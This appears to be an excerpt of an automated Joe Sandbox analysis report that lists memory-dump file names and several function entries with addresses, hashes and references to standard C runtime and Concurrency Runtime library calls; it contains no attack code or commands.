Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 310892616522c3223281274b29fc280988f00aca7a8b7e371cb3b4db03d479da
Instruction ID: 34cbb8ed6c32e26d76f64858019e8166c3ee75a9e8413c48ce36235bb90ddad0
Opcode Fuzzy Hash: 310892616522c3223281274b29fc280988f00aca7a8b7e371cb3b4db03d479da
Instruction Fuzzy Hash: 75312536701610DFDF159F60CC85AAD73A6EFCA710F144279E906AB395DF38AC058B90

Function 007A2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007A2D0F

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 60a62a3a49b282da89ac1dd2897a3c99486ae802d5a0ad6c1b2a4c9788d68423
Instruction ID: c6270729528ca1b2ad8c3c4ff163d7234a76102c8b4313f0c517105167486764
Opcode Fuzzy Hash: 60a62a3a49b282da89ac1dd2897a3c99486ae802d5a0ad6c1b2a4c9788d68423
Instruction Fuzzy Hash: 60313B75A00309EFCF14DF98C5C4BAE7BB9BB85310F1405AAD901AB357D734A946DBA0

Function 007B13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007B13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 007B1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 007B147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 007B152A

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 00c080d4b065ff35a9580724019f447fdd849732457af36b119d36f8504befd5
Instruction ID: 534e3dc43108eac10d61667a2a35758e8cf8828156f72feccc181224884dce9d
Opcode Fuzzy Hash: 00c080d4b065ff35a9580724019f447fdd849732457af36b119d36f8504befd5
Instruction Fuzzy Hash: 90317371A00605DFCF14EFA9C495AEDFBB1BF88710B94822DE516A7381DB38AD41CB90

Function 0079BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0079BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BBE4
_xtime_get.LIBCPMT ref: 0079BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BC13

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction ID: 0353687fc318050c3c4c9c49816dd2f58225c7543bd1bafa4354c0ae6a7fb851
Opcode Fuzzy Hash: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction Fuzzy Hash: F1213272A01119EFDF01EFA4ED859BEB7B9EF09710F104015F501B7291DB38AD019BA0

Function 007A9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007A9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 007A9CE8
std::bad_exception::bad_exception.LIBCMT ref: 007A9CFE
std::bad_exception::bad_exception.LIBCMT ref: 007A9D6A

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 3693af03a034423d530b55db05cf65240c9b1349eb46c072c9d980e6dd83b8a9
Instruction ID: b82d66ce5e88d9e355e992f5d9b6452bb51038dc514eb14957b6c4bb7a001adb
Opcode Fuzzy Hash: 3693af03a034423d530b55db05cf65240c9b1349eb46c072c9d980e6dd83b8a9
Instruction Fuzzy Hash: 6C21DA71A04514DFCF04EF64D88ADAEB7F0EF46310B20416AF202AF251DB39AE91CB61

Function 007AA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 007AA069

Part of subcall function 007AB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 007AB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 007AA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 007AA0CB

Part of subcall function 007AAB41: List.LIBCONCRT ref: 007AAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 007AA0DB

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
